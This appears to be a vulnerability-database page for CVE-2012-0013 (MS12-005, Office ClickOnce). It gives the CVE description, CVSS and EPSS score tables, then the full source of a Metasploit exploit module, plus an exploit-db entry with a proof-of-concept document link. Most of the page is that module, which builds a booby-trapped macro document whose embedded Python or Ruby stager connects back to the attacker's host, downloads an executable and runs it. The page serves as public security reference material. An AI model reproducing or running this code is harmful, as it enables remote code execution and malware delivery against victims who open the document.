CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Incomplete blacklist vulnerability in the Windows Packager configuration in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2, R2, and R2 SP1, and Windows 7 Gold and SP1 allows remote attackers to execute arbitrary code via a crafted ClickOnce application in a Microsoft Office document, related to .application files, aka "Assembly Execution Vulnerability."
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
9.3
AV:N/AC:M/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
90.5%
–
–
2022-03-27
–
–
90.2%
–
–
2022-06-26
–
–
89.05%
–
–
2023-03-05
–
–
88.7%
–
–
2023-03-12
–
–
–
97.14%
–
2023-06-11
–
–
–
97.05%
–
2023-12-10
–
–
–
97.02%
–
2024-02-04
–
–
–
97.07%
–
2024-03-24
–
–
–
97.04%
–
2024-06-02
–
–
–
97.06%
–
2024-06-02
–
–
–
97.06%
–
2024-07-14
–
–
–
97.14%
–
2024-09-01
–
–
–
97.17%
–
2024-12-22
–
–
–
97.05%
–
2025-01-26
–
–
–
97.06%
–
2025-01-19
–
–
–
97.05%
–
2025-02-02
–
–
–
97.06%
–
2025-03-18
–
–
–
–
88.69%
2025-03-30
–
–
–
–
87.48%
2025-03-30
–
–
–
–
87.48,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex/zip'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE
include Msf::Exploit::Remote::TcpServer
def initialize(info={})
super(update_info(info,
'Name' => "MS12-005 Microsoft Office ClickOnce Unsafe Object Package Handling Vulnerability",
'Description' => %q{
This module exploits a vulnerability found in Microsoft Office's ClickOnce
feature. When handling a Macro document, the application fails to recognize
certain file extensions as dangerous executables, which can be used to bypass
the warning message. This allows you to trick your victim into opening the
malicious document, which will load up either a python or ruby payload based on
your choosing, and then finally download and execute our executable.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Yorick Koster', #Vuln discovery
'sinn3r' #Metasploit
],
'References' =>
[
['CVE', '2012-0013'],
['OSVDB', '78207'],
['MSB', 'ms12-005'],
['BID', '51284'],
['URL', 'http://support.microsoft.com/default.aspx?scid=kb;EN-US;2584146'],
['URL', 'http://exploitshop.wordpress.com/2012/01/14/ms12-005-embedded-object-package-allow-arbitrary-code-execution/']
],
'Payload' =>
{
'BadChars' => "\x00"
},
'DefaultOptions' =>
{
'ExitFunction' => "none",
'DisablePayloadHandler' => 'false'
},
'Platform' => 'win',
'Targets' =>
[
['Microsoft Office Word 2007/2010 on Windows 7', {}],
],
'Privileged' => false,
'DisclosureDate' => "Jan 10 2012",
'DefaultTarget' => 0))
register_options(
[
OptEnum.new('PAYLOAD_TYPE', [true, "The initial payload type", 'PYTHON', %w(RUBY PYTHON)]),
OptString.new("BODY", [false, 'The message for the document body', '']),
OptString.new('FILENAME', [true, 'The Office document macro file', 'msf.docm'])
], self.class)
end
#
# Return the first-stage payload that will download our malicious executable.
#
def get_download_exec_payload(type, lhost, lport)
payload_name = Rex::Text.rand_text_alpha(7)
# Padd up 6 null bytes so the first few characters won't get cut off
p = "\x00"*6
case type
when :rb
p << %Q|
require 'socket'
require 'tempfile'
begin
cli = TCPSocket.open("#{lhost}",#{lport})
buf = ''
while l = cli.gets
buf << l
end
cli.close
tmp = Tempfile.new(['#{payload_name}','.exe'])
t = tmp.path
tmp.binmode
tmp.write(buf)
tmp.close
exec(t)
rescue
end#|
when :py
p << %Q|
import socket
import tempfile
import os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("#{lhost}", #{lport}))
buf = ""
while True:
data = s.recv(1024)
if data:
buf += data
else:
break
s.close
temp = tempfile.gettempdir() + "\\\\\\" + "#{payload_name}.exe"
f = open(temp, "wb")
f.write(buf)
f.close
f = None
os.system(temp)
#|
end
p = p.gsub(/^\t\t\t/, '')
return p
end
#
# Reads a file that'll be packaged.
# This will patch certain files on the fly, or return the original content of the file.
#
def on_file_read(fname, file)
f = open(file, 'rb')
buf = f.read
f.close
# Modify certain files on the fly
case file
when /oleObject1\.bin/
# Patch the OLE object file with our payload
print_status("Patching OLE object")
ptype = datastore['PAYLOAD_TYPE'] == 'PYTHON' ? :py : :rb
p = get_download_exec_payload(ptype, @ip, @port)
buf = buf.gsub(/MYPAYLOAD/, p)
# Patch username
username = Rex::Text.rand_text_alpha(5)
buf = buf.gsub(/METASPLOIT/, username)
buf = buf.gsub(/#{Rex::Text.to_unicode("METASPLOIT")}/, Rex::Text.to_unicode(username))
# Patch the filename
f = Rex::Text.rand_text_alpha(6)
buf = buf.gsub(/MYFILENAME/, f)
buf = buf.gsub(/#{Rex::Text.to_unicode("MYFILENAME")}/, Rex::Text.to_unicode(f))
# Patch the extension name
ext = ptype.to_s
buf = buf.gsub(/MYEXT/, ext)
buf = buf.gsub(/#{Rex::Text.to_unicode("MYEXT")}/, Rex::Text.to_unicode(ext))
when /document\.xml/
print_status("Patching document body")
# Patch the docx body
buf = buf.gsub(/W00TW00T/, datastore['BODY'])
end
# The original filename of __rels is actually ".rels".
# But for some reason if that's our original filename, it won't be included
# in the archive. So this hacks around that.
case fname
when /__rels/
fname = fname.gsub(/\_\_rels/, '.rels')
end
yield fname, buf
end
#
# Packages the Office Macro Document
#
def package_docm_rex(path)
zip = Rex::Zip::Archive.new
Dir["#{path}/**/**"].each do |file|
p = file.sub(path+'/','')
if File.directory?(file)
print_status("Packging directory: #{file}")
zip.add_file(p)
else
on_file_read(p, file) do |fname, buf|
print_status("Packaging file: #{fname}")
zip.add_file(fname, buf)
end
end
end
zip.pack
end
#
# Return the malicious executable
#
def on_client_connect(cli)
print_status("#{cli.peerhost}:#{cli.peerport} - Sending executable (#{@exe.length.to_s} bytes)")
cli.put(@exe)
service.close_client(cli)
end
def exploit
@ip = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
@port = datastore['SRVPORT']
print_status("Generating our docm file...")
path = File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2012-0013')
docm = package_docm_rex(path)
file_create(docm)
print_good("Let your victim open #{datastore['FILENAME']}")
print_status("Generating our malicious executable...")
@exe = generate_payload_exe
print_status("Ready to deliver your payload on #{@ip}:#{@port.to_s}")
super
end
end
=begin
mbp:win7_diff sinn3r$ diff patch/GetCurrentIcon.c vuln/GetCurrentIcon.c
1c1
< void *__thiscall CPackage::_GetCurrentIcon(void *this, int a2)
---
> const WCHAR *__thiscall CPackage::_GetCurrentIcon(void *this, int a2)
...
24c24
< if ( AssocIsDangerous(result) || !SHGetFileInfoW(pszPath, 0x80u, &psfi, 0x2B4u, 0x110u) )
---
> if ( IsProgIDInList(0, result, extList, 0x11u) || !SHGetFileInfoW(pszPath, 0x80u, &psfi, 0x2B4u, 0x110u) )
31c31
=end
Publication date : 2012-01-13 23h00 +00:00 Author : Byoungyoung Lee EDB Verified : No
# Exploit Title: MS12-005 : Microsoft Windows Assembly Execution Vulnerability
# Date: 1/14/2012
# Author: Byoungyoung Lee, http://exploitshop.wordpress.com
# Version: Windows 7 32bit, fully patched until Jan 2012
# Tested on: Windows 7 32bit
# CVE : CVE-2012-0013
PoC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18372.docm
Open the document file, then allow the macro execution. This will
execute python script (python interpreters are required).
DEMO : http://www.youtube.com/watch?v=Odi6HiqzmL8&feature=youtu.be&hd=1